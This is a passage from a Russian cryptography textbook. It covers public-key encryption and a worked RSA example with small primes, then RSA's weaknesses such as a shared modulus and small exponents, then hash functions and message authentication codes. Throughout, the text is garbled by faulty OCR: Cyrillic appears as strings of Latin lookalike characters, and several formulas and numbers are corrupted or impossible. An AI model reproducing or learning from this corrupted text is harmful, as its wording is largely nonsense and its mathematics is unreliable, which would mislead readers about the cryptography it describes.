THPEETOM TSk 00,06 YKBHI, CTOSIIC Ha TEX K& MECTAX B KaX/IOM
e Moryrm:m, COSRUHTOTCH TOJO0HBIM ke 00pa3oM.
1IPEATIONOMKCHHA, nonombna;p z:;p::;6:5:znmnm o naon
P , UM, KOTOPHIE JafoT
::p;(;‘:njﬁua x: CHCTEME BEPTHUKANBHOM IEPECTaHOBKH, n%anofmm
pos mnéuosnmmlc s M COCCJHHMH ABC KOHKPETHHIC OYKBHI M3
X erord mf.;ag ﬂxy U3 yKa3aHHBIX ABYXOYKBCHHBIX COYETa-
e OaBuTE TPETHIO OYKBY 11 OOPA20BAHUS TPUTPAMME! ¥
pacnojiaraTtb HE MEHEE YeM HETHIPbMA COODINECHHAMH

OJHHAKOBOH JJIHHBI, TO MO AHT
\ ) BKHO € YBEPEHHOCTBIO T
HCKPHRITHE NIOAOOHEIM 00pasoM. ApamapoRIR X

Anropurme! winpoBaHus
€ HCIOJIb30BANEEM OTKPHITHIX KIIOYeH

An

s ::g;rmm mupPOBAHASA C OTKPRITHIM KIIOYOM, TAKAKE HA3BI
MBI METPHYHKEMH aNrOPHTMaMH CTPO .
: un(ppoBaHus CHEL
Ik, 97O KJTIOY, HCTIONB3YeMblit s mubpoBanust coo6méu¥4ﬁ OTJIH
MACTCH OT XKITIO4Ya, NPHMCHSA ’ :

emoro s ux pacumbposanua. bo.
10ro, K09 pacmupoBaHmsa HE MO " ' nmﬁec
HE MO)ker Obith 3a 0003pUMOE BpEM

! o€

NLIYMCIICH, MCXOAf M3 kmova umadposanms. Ceoe Hagsarmenpe

. anro-
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PHTMBI ¢ OTKPHITHIM KIIOYOM TONYYHIM Onaromaps ToMy, 910 KIOY
mu¢pposanus He Tpedyercsa Aepxare B TaiiHe. JIoOoH MOXeET M
BOCHONb30BATHCA, YTO0B! 3amm(poBaTh CBOC COOOIMEHME, HO TONBLKO
obnanarens COOTBETCTBYIOLICIO TaiHoOro wimo4ua pacumidposanys
Oyzer B cocTosHUM MpouecTs 310 mrdpoBanHoe coodmenue. Ko
mu@posarys OOBMHO HA3LIBAIOT OMKPLIMbIM KIIOUOM, & KIIOY pac-
mupposanms — maiinew xmouom. Muorga maiinstii K09 HA3BIBA-
0T TAKKE CexpemHbiM, OOBAK0 YTOOb M36EKATh MyTaHULBE C CHM-
METPHYHBIMH aaropuT™amy, OyZeM HCHONB30BaTh TCPMUH Mmaiinbiil
Koy,

Kax paboraer anropurm mudpoBaHks ¢ OTKPHITEIM KIIGYOM:
Koppecrnosgenr B, xenas nocnars xonbHACHIMAIBHOE CO-

obmennie M xoppecnonaenTy A, ¢ nOMOmMEBI0 xmoua k,,, BHYHCIIET

mudporexcr C = Exy(M), xoropslii Hanpasaser n0 KaHATY CBS3W
koppecnionzenty A. lomywms coobmesue C, xoppecnonzaent A
NPUMEHAET K HeMy npeobpasosBanue Dy, ¥ BEYHCIAET OTKPBITHI
TEKCT M.

OrxperThil kmou He Tpebyercs coxpanars 8 takne. Heobxo
JHMO JHIITL 00CCTICYMTS €r0 AYTCHTUYHOCTB, YTO, KaK NPABHMIIO, CAC
aTh JNerde, 4eM 00ECIIEUHTh PACCHUIKY M COXPAaHHOCTD TaHHEIX KINO
ueii.

Kak ynoMusanocs panee, cHCTEMH IBU(POBAHAA € OTKPHITH
MM KII0YaMM OCYINECTBAAIOT ONOYHOE IMH(POBAHME, MOITOMY OF
KpuITHIE TeKCT mepen wudposanpeM pa3busaeTcs Ha GIOKH Bh
OpaxHOro paMepa, KOTOpHIE HMOCHCHKOBATENHLHO HPeobpasyrores Ta
KHM e 06pazoM, Kak 3T0 NPOMCKOAKT NP# HCIONBb30BAHMH ON0dH0
ro mugpa B pexKUMe IPOCTOH 3aMEHBL.

AcumMerpHaHsIe CHCTeMBI mu(poBanus ofeCHeaABAIOT 3
YMTCILHO MCHBLIIMC CKOPOCTH IU(pPOBAHHA, HOKEIA CHMMETPHY
HBIE, B CHJIy Yero OHH OOBIYHO MCIIONB3YIOTCH HE CTONBKO B/ ()
poBaHAA COOOImCHMM, CKONBKO [ HIA(QPOBAHMS DEPCCHIIACMb:
MEXAY KOPPECTIOHZCHTAMM KIIOYCH, KOTOPBIC 33TEM HMCHONB3YIOTCH
B CUMMCTPHYHBIX CHCTEMAX.

PaccmotpuM B KauecTBe npuMepa cHCTeMy adpPOBAHHS € O
kpoiThiM xmouoMm RSA (PIIA Pusect, Hinmup, Asensmar).
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bt 3t0r0 BRranCIIM 5 = pq=

oy, y;xonnemopmomne COOTHOILICHH

43 = 2401 = 1(mod 480),

2 JIEC H3BECTHOLM CHCTEMO#H
+ YaCCMOTPUM fpaswuio CO3aaHusy

ACTIONb30BaKuem anropumva RSA Pacumpporanus 6noka TEKCTa ¢

ycto n = p
=P 4—1nenoe yucno
BCAEHNS AR » IIPCACTaBHMOE B B _
' ABYX BONBIIHX MPOCTHIX Hpcey 2, q. Bui6e P MO
3 YCIoBHg » 4- BeOepeM unca e u 4

rae o(n) =(p~1).(q_1 ) — 312y
- CHU YHKI, «
:.Zgy CTE k= (n,p,q,e,d) — BuIOpanHLIi] Kemoqd) : HH(?mePa OT YHCIa
42 ky =(n,e) u tadinoro kmoua ky = ’(n d) ‘;Hnglxi §3 q mo.
. ot H ¢, Hc-

3
amuppyem a66pe5na1ypy RSA, HCHOme3yst p = 17, g = 31

327 1 @(m)=(p - 1)(g - 1) = 480, By

480 = 7-68 + 4, 10 e +p(n)v = |
T=414+3,
4=31+1,
1:4_3.1:4_ WRIE IR
1802 ~7.137, (T4Di=42-71- (480-7-68)-2 — 7.1 =
V=2, u=-137,
Mockomxy —137 = 343(mod 480), 10 ¢4

= 343, HPOBepxa:
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Tenepyr nmpeacraBuM JaHHOE COODINEHHME B BHAC MOCHESAOBA-
TENBHOCTH "ucen, coaepxamuxcs B uarepsane 0...526. dus storo
6yxeb R,S u A 3axomupyeM MATHMEPHBIME JBOUYHBIMH BEKTODAMH,
BOCITOJIE30BABHIMCE JBOMYHOH 3aITHCHIO HX IIOPSAKOBBIX HOMEPOB B
aurmiickom andasure:

R =18 =(10010), S =19 = (10011), A = 1 = (00001).

Toraa RSA = (100101001100001). YxnaauBagcs B 334aHHbIH
urrepsan (...526, noxygacm ciaeayomee NpeCTaBICHHES:

RSA = (100101001),(100001) = (M, = 297, M, = 33). [anec
nocnexosarensio mudpyem M; 1 My:

C1 =Exa(M)) = M;°= 297" (mod 527) = 474.

Ilpu 3TOoM M BoOCmONB30OBAaNMCH TeM, uro 297’ =
((297%-297)(mod 527) =

= ((200°(mod 527)-297)(mod527),

C; = Exa(My) = My’ = 337 (mod 527) = 407.

B wurore nonysaem mubporekct: y; = 474, y, = 407.

Ilpn pacimgpoBaniy HyXXHO BRIIIONHHTS CHEAYIOIYIO ITOCIE-
JOBaTECILHOCTh ACHCTBHH. Bo—nepsblx, BBIYHCIIUTD

Dig(Cy) = (C;)**(mod 527).

Or1MeTHM, 9TO HPH BO3BCACHHH B CTENEHL YI00HO BOCIIONB30-
BaTHCH TEM, 9TO 343 = 256 + 64 + 16 + 4 + 2 + 1. Ha ocHOBamuu
ITOr0 NPCACTABICHHUA MOAYYIACM:

474%(mod 527)=174, 474*(mod 527) = 237, 474%(mod 527) =
307, 474"°(mod 527) = 443, 474%(mod 527) = 205, 474% (mod 527)
=392, 474 (mod 527) = 307, 474%%(mod 527) = 443,

BC Hero:

474*%(mod 527) = (443.392-443.237-174-474)(mod 527) =
297.

Ananoruyso:
407**(mod527) = 33.

Bosppamascs k OykBeHHOH 3amucH, MOJy4acM HOCHE pac-
mudposanus RSA.

Ananns kpunrocroiixocTH cucrtembl RSA.
Araka Ha anroput™ RSA M 3aK/TI09aeTCsS B PA3NOKEHHH 1 HA
MHOXHTENM H CIOKHOCTD HaXOWACHHS TAaHHOrO KIH0Ya CHCTEMBI
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RSA ompe/eseTcss MMEHHO CIOXHOCTBIO pasnoxcHHs THCIA 1t HA
TPOCTHE MHOXKHTETH. B CBA3H ¢ 5THM HyxHO BROpparh HCIa p U g
TaKHM 00pa3zoM, 4roObl 335ag9a pasioKeHus uMcria N Obiia ocTa-
TOYHO CIOXKHA B BHYUCIMTEIHHOM IUIase. [iis 3Toro HMMORB3YIOTCH
CIEAYIOIME NpaBIIa:

uaucia p 1 g poIDKHBL OBITE JOCTATOYHO GonpmuMy, HE
CIMIIKOM CHJIBHO OTIHHYATHCA APYT OT APYTa H B TO XK€ Bpemst Ouits
HE CHITKOM OIM3KUMH JPYT APYTY; 3

2)4UHCTa P M  AOIDKHBI ObiTh TAKHMH, wr00H HAnOONBIIMH
obmuit genurens wucen p — 1 u g — 1 6bin HeGonpuM; HKEIATENLHO,
urobu HOJI(p - 1,q-1)=2;

3)p U g JODKHBI GHITH CHIBHO IPOCTHIME GHCTAME (CHUTLHO
TMPOCTEIM HA3BIBAETCH TAKOE MPOCTOE 4ucimo r, 910 7 + lv uMeeT
Gonsmoii mpocrol AemuTens, r— 1 MMeer Gonpimoi MPOCTOH ACHH-
TCJIB 5, TAKOM, UTO UMCHO § — 1 Take obnazaeT JOCTATOYHO GOMB-
M TIPOCTHIM ACTHTEIEM).

B ciayuae, KOTa HE BRUIONHEHO XOTs Opl ofHO H3 YKA3aHHBRIX
YCIIOBHH, MMEIOTCS 3 (EXTHBHEIE ANTOPHTMBI Pa3iOKCHHS 1 Ha IPO-
CThIC MHOXKHTCIIH,

B Hacrosmee Bpems cameie Gonbiume mpocTelC WHCAA p ¥ g,
KOTOPBIE YAACTCA PA3TOKUTh Ha MHOMKHTETH H3BECTHPIMH METo a3~
MH, coepxar B cBoeil samucu 140 aecsrumbx 3#ak0B. Ilostomy,
COTJIACHO YK23aHHHIM PEKOMEHJALMSIM, YHCaa p 1 ¢ B CHCTCME RSA
JOIoKHE! CoAepxaTh He MeHee 100 mecaruannix 3HaK0B.

Cneayer noXYCpKHYTh HEOOXOIMMOCTH COOMIOJEHUA OCTO-
poxuocTH B BeiGope Moayis RSA (umcna n) pis KaXIOro H3 KOp-
PECNOHACHTOB ceTd. V3BeCTHO, 4TO, 3HAA OaHYy W3 TPCX BCIHHMHH: D,
q unu @(n), MOXHO JIETKO HailTy TalHbIi Koy RSA- Taroke uzsecT-
HO, YTO, 3HAas TAHYIO 3KCHOHCHTY paciuupposaHus d, MOKHO JETKO
PasNOXUTE MOAYIL /i Ha MHOXUTEIX. B 3TOM Ccrny¥ae yAAcTCs no-
CTPOHTB BEPOSTHOCTHEIH AIrOPHTM pasnonenus n. OTCIOAA CIEAYET,
YTO KaKIBii KOPPECTIOHACHT CETH, B KOTOPOH s mHQ)POBaHIf’H HC-
nonm3yercs cuctemMa RSA, xomkeH umers cBOH yHHKAILHBIM MO-
OYy7b. 5

B camMoM Jere, e B CETH MCHOJIb3yeTcs CAHHBIH UL BCEX
MOZY/Th 71, TO TaKas OpTaHM3ALWMA CBS3M HE 0GeCHCTHBACT KOHGH-
JICHIMATLHOCTH, HECMOTPS Ha To, a0 Gasosas cucreMa RSA MO)K:;
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GBITH CTOMKOM. Bripaxasich APYTHMH CIIOBaMY, roBOpST O Hecocz?ls;:
TeNpHOCTY MPOTOKONA C oOmuM MOZIYJIEM- Hecocro;n‘enmocr:,e. o
AYET M3 TOrO, WIO 3HAHMC DPOW3BONLHON nafs:m 31:22;311;““ ”Hc;-
Kax OBLIO OTMEICHO, PAa3JIOXKHTD .
l;:gfa(;mﬁo’soﬁ KOPPECTIOBACHT JAHHOW CeTH HMEET BO3MOMXHOCTD
HaiiTH TaMHbIH K109 NE0Oro Jpyroro KOppPECTIOHACHTA. i
Kax oTMedaoch paHee, CHCTEMbI mudposaHus ¢ OTKP s
xifouam  paboTaloT CPAaBHHICIBHO MEATICHHO. )Ins; nosmMaﬂyw
CcxOpOCTH IMU(POBAHMSL RSA Ha NpPaKTHKC HCHOIB3YIOT

1mmpoBaHusL.

3Kcnor§cr§g Bblg[))‘;’rb qUCNO € HeOONbIIAM HIIH TAKHM, '{’1‘06]:(1) : aﬁ;{;
JBOMYHOMN 3AIMCH 66110 MaNo CIWHHUL, TO npouenypy_uga?)pn s
MOKHO 3HAUMTENIBHO YCKOPHTD. Hanpumep, BoiOpas € = I:)peanmo-
pup—1,m4g - 1 He AOMKHBI IETHTRCS HA 3), Mbt cmoxce;n; peanuso
BaTh ITH(POBAHHE C MOMOIIBIO OHOTO BOSBC,H?_H;I{IG :1 > zg;;;:; £
MOJYJIO 1 M OJHOTO TIepEMHOKCHHA. Bribpas ¢ = t! ;B T
ancio, ssowias samice woroBord SR L 6 sosmncn 1
CMOXKEM PeaNM30BaTh MH(PPOB S
KBaApAT TIO MOAYIIO It ¥ OJHOTO FICPEMHOXKCHHSA. Ecmu 3K
Bmaéllfpaerca ciy4aifHo, TO peanu3ami mmi)pona}m; ’r;c; Tgﬁm
RSA norpebyeT s BO3BEIACHHI B KBaApAT 10 MOXYIL o B
/2 yMHOXKEHAH IO TOMY HKC MOAYJIO, TAE § — zvmn ;l:emu %
rmcH arcna n. Bmecte ¢ TeM BbIOOp HEOOMBINOH IKCIIO e
KET MPHBECTH K HCTaTHBHBIM nocneacTsusM. Jieno B TO B,He Y RO
CKOJbKHMX KOPPECHOH[EHTOB MOrYT OKa3aThCS OIHMHAKO © oKeTO.
HenTHl €. DTO NO3BOIMT KPHITORHATHTHKY BCKpETH mudp

cIy4ac OTIpaBKH coOBIIeHMSA HECKOIbKAM a.npecara;«.mme e

BriGop Maoil SKCIIOHCHTEL pacumgpoBaHuA oxer

TeaeH B CBA3H C BO3MOXHOCTBIO onpeaencHns d HPOCTHIM €p

pom.
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TJIABA 10.
Komnsiorepnan xpunrorpagus. Qbecneyenne nesioCTHOCTH

TlepeiiaeM K paccMOTPEHHMIO BTOPOH 3agaun kpumrorpadem —
3aaa4e 00eCIeUCHUs LEIOCTHOCTH.

Hanomuum omnpeaeneHue.

Obecneyenne HEJOCTHOCTH — TaPAHTHPOBAHME HEBO3MOX-
HOCTH HECAHKIHOHMPOBAHHOTO H3MEHeHMs uH{popmauuu. Jlna ra-
paHTHH LEJOCTHOCTH HEOOXOIMM NpPOCTOH W HANCKHEIH KpHTEpHil

OOHapYXeHHS MIOOHX MaHMIYISRuid C JaHARMH. Manwnmysisoqm ¢
JIAHHBIMH BKJIIOHAIOT BCTABKY, YAQJICHHE H 3aMEHY.

Hpyrumu crnoBamu, Heo6X0AuMO 00ECHEUHTh HEH3MEHHOCTD
uapopMauH B TPOLICCCE MEPEAadd Wi XpaneHuH. PemcHne 3ToH
3aa9M TPSATIoNaraeT pa3paboTKy CpexcTs, MO3BONAIONMMX 0OHapY-
KHUBATH HE CTONBKO CIIyYaliHEIC MCKAKCHHA (R 3TOM HENH BHOIHE
MOAXOAST METOAR TEOPHH KOAWPOBaHMA C ODHAPYKCHHEM H MC-
upasncHueM OMMOOK), CKONBKO IMICICHANPABICHHOC HABASHIBAHHE
[[POTMBHHUKOM JOXHOH mupopMaipm. Jlis 3TOro B mepeAaBacMyro
nHpopMaimo BHOcHTCH H3OKTOHOCTL. Kak npasuno, 910 nocrura-
cres foOaBlIeHHCM K COODINEHHIO HEKOTOPOH HMPOBCPOYHON KOMOH-
HALMM, BRIYHCISICMOR C IOMOIIBIO CITEIHAIBHOTO AITOPHTMA M HI-
paroImeHt poiak KOHTPOMBHON CYMMEI JUId MPCBEPKH LIETOCTHOCTH 110~
nydeHnoro coolOmenns. I'TaBHOE OTIIHYHME TAKOTO METOAA OT METO-
JIOB TCOpPHH KOAMpOBAHIA COCTOMT B TOM, 910 aiTOPHTM BhIpaGoTKH
I[POBEPOYHOM KOMOHHAUMH SBIACTCH «KpHIITOrpadMIecKHM», TO
CCTh 3aBUCAIIMM OT CEKPETHOTO Xiro4a. be3 3HaHMsI CEKPETHOro
KIIOYA BEPOATHOCTh YCHELIHOrO HABY3BIBAHMA IPOTHBHMKOM HCKa-
KEHHOM WM JOXHOH MH(popMmauwmu mana. Taxkas BEpOATHOCTH Ciy-
KHT Mepoil umumocmoiikocmu mudpa, To €CTh CHIOCOOHOCTH CaMOro
wrdpa OPOTHBOCTOSTE AKTHEHLIM aTAKaM CO CTOPOHBI POTHBHHKA.

Htak, Ans MpoOBEPKH LENOCTHOCTH K coobmenuo M xobaBia-
¢TCS MPOBEPOYHAs KOMOHHAIMA S, HAa36IBACMas KOOOM aymeHmughu-
kayuy cooOIIeHMA WK umumoscmaexoi. B stom cnysae no xanany
ces3u nepenaerca napa C = (M,S). Ilpu nonyuenun coobmenns M
HONb30BATENb BHYHCIACT 3HAYCHHE MPOBEPOUHOH KOMOHHAIMH U
CPABHHBACT €I'0 C MOXYICHRHBIM KOHTPOIBLHEIM 3HaueHHEM S. Hecos-
11QJICHAE TOBOPHT O TOM, YTO JAHHBIC ObUTH H3MCHEHHI.
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Kax npasuno, Kox ay'remn@nxaunnv ABIMECTCS 3HAUCHUEM H:)
KOTOPOH xpurrTorpadieckoi (3aBucsmeil OT CEKPETHOrO wno:ﬂ—.
xom-bysKm ot Aausoro coobmenms: M) = S.K Konizzm sz;r o
TUKAUMHE TPEIBIBIAIOTCA onpeaeneHHEIe TpeboBaUS.
Hocmc—,-l.nenoaMomHom purucIcHus 3HaveHns (M) = S s 3a
Aanroro coodmenms M 6e3 3HaHws K04 k; M e

— HEBO3MOMHOCTH TOAGOpa ANA 3aJAHHOIO coobmenns M ¢
y3BeCTHHIM 3HadeHueM hi(M) = S apyroro coobmenns M; ¢ u3BeCT:
aEiM 3aagenneM hy(M;) = Sy 6e3 3HaHus KIH09a k.

[epsoe TpeGoBarve HANPABICHO MPOTHB CO3IaHUA no;mem;
HEX (ChabpHKOBAHHBIX) cooOmeHnit nMpu arakax mgg nmzmgan -
BTOpOE — MPOTHUB moaudUKAIMY TIEPEABACMBIX COOOTHEHHH HE

aTaKax THNA IOAMEHA.

PaccmorpuM moapobHee, HTO npeacTassoT CoGOH X3
Q)YHKH;(H;;H-(byHKnnu ~— 310 GyHKUMM, TPCIHASHAYCHHBIC ZJU!
«CKaTHS» TPOM3BOIBHOTO COOOMIEHHSA HIIH Habopa AAHHEIX, ;arm
CaHHOro, KaK MPaBHIO, B ABOHIHOM angasure, B HEKOTOPYIO nrml
By10 KOMOHHAIHIO (pUKCHPOBAHHOH JUTAHEL, HA3BIBACMYIO cneg;:oxc
Xom-QyHKIMH UMEIOT pasHooGpa3Hbie MPUMEHEHHS TPH np ,nic
HEM CTATHCTHHECKHX OKCIECPHMCHTOB, IIPH TCCTHPOBAHMM JIOTH® |
CKHX yCTDOHCTB, [P NOCTPOSHHH AITOPUTMOB GBICTPOrO IIOMCKA :}I
[pPOBEPKY LIETOCTHOCTH sanumceii B 0a3ax AaHHBIX. Hanpngx:p, nfgm
ocymecTRiieHUs GhICTPOrO MOHCKA HYKHOrO ¢oo0IeHus B 00b "
CITHCKe COOBIEHMH PasTHIHON JTHHb yaobHee CPaBHMBATH n}{)y; \
APYroM He camu cooQmienus, a KopoTKHS 3HAYCHHA gx CBGII::I?\{ , C
PArOLHMX OZHOBPEMEHHO POIb KOHTPOMbHHIX CyMM. (JCHOB Tg(;
GopaHMeM K TakaM xomn-GyHiimsaM SBIACTCH paBHOMEPHOCTE D |
ApeAeTeHII HX 3HAYeHHI MpHU CIyIAHHOM BHIOOPE 3HAYCHHH apry
Memog kpurrrorpadus X3m-GyHKIHH TPUMEHSIOTCS A7 PEHeHI

a:
cmy?mzam CHCTEM KOHTDOMNA LENOCTHOCTH JAHHBIX HpH
MX TICPEAAYe Ml XPAHCHHUH,
— ayTeHTH(MKAUMA HCTOTHIKA AAHHEIX.
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[Ipu pewenun nepsoil 3a0a4H I KKAOro Habopa AaHHBIX
BBIYHUCIACTCH 3HAYCHHE X3-(PyHKimmM (HA3BIBAEMOES KOAOM ayTeH-
TradHEKAMA COOOIMEHHs WM HMHUTOBCTABKOH), KOTOpOE IEpeIacTcs
HITH XPaHHTCH BMECTE C CaMMMHE AaHHbMA. [Ipu moayueHHH AaHHBIX
NONB30BATENb BBHIYHCIICT 3HAYCHHE CBEPTKU U CPaBHHBACT €TI0 C
HMEIOIIUMCA KOHTPONbHEIM 3HaucHHeM. HecoBmaaenue rosopur o
TOM, YTO JAHHBIC ObUIH H3MEHCHE!.

Xom-QyHxims, CIyxamas U1 BHIPaOOTKH HMHTOBCTABKH,
JOJDKHA NO3BONATH (B OTHMMHE OT OOBIYHONH KOHTPOIBHOH CyMMBI)
OCYBIECTBIATh OOHAPYEHHE HE TONBKO CAydJaiHBIX OHIMOOK B Ha-
Oopax JaHHBIX, BOSHHKAIOMIMX TPH MX XPAHCHWH H IEpeAade, HO K
CUTHANTM3HUPOBATE 00 AKTHBHHKIX ATAKAX JIOYMBIILICHHHKA, MBITAI0-
IIErocs OCYIIECTBUTL HABA3RIBAHYC JOXKHOM HMHpOpMawum. [l Toro
4yTOOb! 3TOYMBIIUICHHHK HE CMOI' CaMOCTOSATEIbHO BRIYMCIATE KOH-
TPOJBHOE 3HAYCHHE CBEPTKH M TEM CAMBIM OCYIICCTBHTH YCHEITHYIO
MMUTAIMIO WK NOAMEHY JAaHHBIX, XOM-(PYHKIUS JOJDKHA 3aBHCETH
OT CEKPETHOrO, HE H3BECTHOTO 3MOYMBILUICHHHKY, Mapamerpa —
K092 MOJIB30BATE/. ITOT K04 AOKEH GbITh H3BECTEH IICPEAAIO-
el u nposepsomei croponaM. Taxue xom-pyHKIWM Ha3hIBAIOTCS
KRIOYE8BIMYU.

HWvmroBcTaBky, GopMUpyeMBIC ¢ TOMOMIBIO KIIOYEBRIX XIMI-
(byHKxupil, HE JODKHB! MO3BONATH MPOTUBHKMKY CO3AaBaTh NOIJCTb-
Heie (cabprkoBasHbie) COOOMICHHS NPH ATaKaX THIA HMHTAUMA H
MoARUMIMPOBATh NEPEAABACMBIE COOOINEHMS TPH aTaKkax THIA
«ITOMERAY.

Ipu perrenus BTOpO# 3aja9u — ayTeHTHOHXAUNE HCTOYHHKA
JI@HHBIX ~— MBI HMEEM JEJIO C HE AOBEPAIOLIMMU JPYT APYTY CTOPO-
namH. B cBa3M ¢ 3THM noAX0, NIpH KOTOpOM 00€ CTOpOHb! 06MaxaoT
ONHHM H TEM K€ CEKPETHBRIM KIIOUOM, ye HenmpHMeHHM. B Takoit
CHTYALMY MPUMCHSAIOT CXeMbl LH(POBOH MOAMHCH, NO3BOJIAIOIHE
OCYIIECTBIATh ayTeHTHOHKAINIO HCTOUHHKA AanuuX. Kak mpasuio,
1IPH 3TOM cooDImenHue, Npexae YeM ObITh MOANMCIHO JIMYHOMN IOA-
IMCBI0, OCHOBAHHON HAa CEKPETHOM KIIOHE MOJIB30BATEIV, «CXKUMA-
CTCA» C MOMOIBIO XM-PYHKINH, BHIIOMHSIOMEH (QYHKIHIO KOZa
obHapyxenus omubok. B raHuoM chaygac Xom-QyHKIMI HE 3aBUCHT
OT CCKPETHOTO KII0Ya ¥ MOXET OBITh (hHKCHPOBAHA M M3BECTHA BCEM.
Takne pynxupE HaznBAXOTCA Oeckniovesvimu. OCHOBHBIMH TPebOBa-
HWSMY. K HMM SBJISIOTCH TAPAHTHA HEBO3MOMHOCTH TIOAMEHbI IOJ-
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MHCAHHOTO JOKYMCHTA, a TAKKe NMoAOOpa ABYX Pa3NM4HBIX COOOMIE
HH#M C OIMHAKOBEIM 3HAYCHHUEM XIM-()ysKuuY (B 3TOM CIIy4ae roBo
PAT, 9TO TaKas napa coobuieHuit 00pa3yeT KOMIH3MIO). ,

OOb9HO 9MCIO BO3MOMNHBIX COOGIICHHI 3HAYMTEIHLHO NPE
BOCXOAMT YHCI0 BO3MOXKHBIX 3HA4YECHHIl CBEPTOK, B CHIIy HEro i
KaX/JOro 3HAYCHHA CBEPTKH HMEETCSt OONBINOE MHOXECTBO Mpoobpa:
30B, TO €CTh COOOINEHMIA € 33 JaHHBIM 3HAYCHHEM X3~ YHKLIHH.

Kax npaBuiio, xom-yHKIME CrposST HAa OCHOBE TAK HA3KIBAE
MBIX OJHOWIArOBHIX Cxumaromux ¢yuxumit y = f(x;,x;) aByx nepe
MCHHBIX, € X, B Y — JBOMYHBIC BEKTODH AIHHEI 71 M 1 COOTBETCT-
BCHHO, NIPHYEM 1 — JTHHA cBepTkA. [nsg nonyucHus 3naucHus h(M)
coobmenne M cragana pasbupaercs Ha GIOKM AMUHEL m (TPH 5TOM
€CTH JAMHA COODINEHHS HE KpPaTHA m, TO NMOCACAHHI OIOK HEeKHM
CTIEUHATHHBIM 00pa30M JONOTHIETCS J0 MONHOrO0), 2 33TEM K HOMy
geHHEM Oniokam M, My, ..., My IpaMeHAIOT Cleayionyio nocueno-
BaTEIbHYIO MPOLEAYPY BHIMUCIECHHUS CBEPTKU:

Ho=v,

I‘I,‘= f(Mi.,H,'.I), i= 1,...,N,

HM) = Hy

3xechk v — HEKOTOphIH (PUKCHPOBAHHEIM HAYANBHLIN BEKTOP.

Hpu taxom moaxoxe cBoiicTsa x3m-pyHKumE h MOIHOCTHIO
OIPEACIAIOTCS CBOMCTBAMH OXHOIIAroBOH CxUMarowmel dyuxiumu f.
Kak yxe ormedanoch, €cTh ABa THIA KPUITOrPadMYECKHN
xom-QyHKmit — karowegsie u Geckniouesvie. llepsbie MpUMEHAIOTCH
B CHCTEMAX ¢ CHMMETPHYHBIMH KTodaMi. IMEHHO kiiouegbie Xali
GbyHKUHM HA3BIBAIOT KOOAMYU AymeHmuduxayuu coobuyenuii, TaK Kax
OHH JAKOT BO3MOXKHOCTb 6€3 HONMONHUTENBHBIX CPEACTB TapaHTHPO-
BaTb KaK MPaBWIBHOCTh MCTOYHHMKA AAHHBIX, TAK K IEIOCTHOCT:
JI@HHBIX B CHCTEMAX C JOBEPSIOMHMH APYT APYTY MOJIb30BATEIAMHE.
becknioyegvie Xa1m-yHKINM HA3BIBAIOTC KOOAMU OBHADYIICe-
HUus ouwubok. OHM JAIOT BO3MOXHOCTb C IIOMOIIBIO JOMOIHUTEIBHEIX
cpeacte (Hampumep, MHGPOBAHAA, WCIIONB30BAHUA 3AIMHINEHHOTO
Kanana Wi IudpoBoH MOAMKCH) rapaHTUPOBATH UEIOCTHOCTD JAaH-
HEIX. DTH X31I-QYHKITHM MOI'YT IPHMEHATHCA B CHCTEMAX KaK C J0
BCPAIOMIMMH, TaK H HE JOBEPSIOIHMH APYT APYTY HONB30BATCIAMH.
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Bosspamasce K npuBeacHHOH (OpPMyNE 3aMETHM, 4TO €CIH
(ysxupsa f 3aBUCHT OT KIIIOYA, TO BEKTOP V MOXKHO ITOJIOXHTH PaB-
LM HyneBoMy BekTopy. Ecim ke dynxums { He 3aBucHT OT xnoua,
10 /18 MCKIOYEHHA BOSMOXHOCTH Nepebopa KOPOTKHX coobmeHui
(npe nonbITKax obpamenus X3m-QyHKIHM) BEKTOP V MOXHO COCTa-
BUTh M3 (DPArMEHTOB, YKASHIBAIOIMX AATy, BPEMS, HOMEP coobue-
HAA U T. 11

1. Kmouennie x3m-QyRKIHH.

HauseM ¢ paccMOTPEHMS KIIOYCBHIX Xdm-(QyHKIMiL, Tak Kak
OHU TIPEAHASHAYCHB] s PEMICHHA 33Ja9u 00ECIeIeHHS LENOCTHO-
CTH nepeiaBacMoil HHYOPMALHH.

B xpunrorpadM9IecKHX MPHIOKEHHSAX K KIIOYCBRIM X3II-
{YHKIHAM TPEABIBISIOTCS CACAYIOMHE TpeOOBaHHUS

— HEBO3MOXKHOCTH Gabpuxaim;

~ HEBO3MOXKHOCTH MOAH(DHKAIHH.

Tlepsoe TpeGOBaHME O3HAYAET BHICOKYIO CIIONKHOCTh TOAGOpa
coODMEHNS ¢ NMPABUIBHLIM 3HAUCHWEM CBEPTKH. Bropoe — BBHICO-
KYEO CIOXHOCTh NOA0Opa sl 334AHHOTO COOOUICHHA C M3BECTHHIM
MAYEHHEM CBEPTKH JPYIoro CooOLIeH:sA ¢ MPABIILHBEIM 3HAYCHHEM
CBEPTKH.

Unoraa 3te CBOICTBA OOBEAMHSIOT B OZHO Oojice CHIIbHOS
CBOHCTBO — CBOTICINGO BbIHUCIUMENLHON YCMOUNUEOCHU. 3TO Tpe-
(losaHHe O3HAYACT BRICOKYIO CHOXKHOCTh HMOAGOpa ANA 3aAQHHOTO
MHOMKECTBA COOOIIEHMH € M3BECTHRIMHM 3HAYCHWIMM CBEPTOK €INE
0HOrO COOOINEHU C IPABHIbHBIM 3HAYCHHEM CBEPTKH.

Tpuuem «BLICOKAs CIOMHOCTb» O3HAYACT TAKYK) BBIMHCIH-
TCHBHYIO CIIOXHOCTH 334a9H, HPH KOTOPOH ¢ PEIICHHE C HCNONb30-
BAHMEM BHIMUCIIMTE/ILHOM TEXHHUKA 33 PEabHOC BPEM HEBO3MOXKHO.

Kmogessie GyHKUMH TPUMEHAIOTCA B CHTYaUHsAX, KOrja CTo-
POHH JOBEPAIOT APYT APYFY M MOCYT MMETh OOmMH CEKpETHBIA
koa. OGBHYHO B 3THX YCIOBHAX HE TpeOyercs, 9robnl cmcrema
obecmednBania 3aMUTY B CIydac OTKasa noayJateas ot ¢axra nony-
YeHHMA COODIEHHs MM €ro MoAMEHHI. 1103TOMY OT KIIFOUCBEIX X3II-
(pysKumii He TPeOyercs YCTONIHBOCTH K KOJUIU3HAM.

OOnuHbIe aTaky Ha KIIOYEBHIC X Mm-QYHKINMY 3aKIIOUAIOTCS B
HMHTALMH, TO €CTh B nepeaaue chabpruKoBanHbIX cOODmEHwMI B IIyc-
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Y

HABA3BIBAHMA l'IpHCMHOi:I CTOPOHE JIOMHBIX CcOOOIICHHH.

cTBa % HSROCTH TAKOKES BRITEKACT
i Bbl‘{!ICJnﬂeHbHOH yCTOKT-l ) '
e HCNONb3yeMore  Xdi

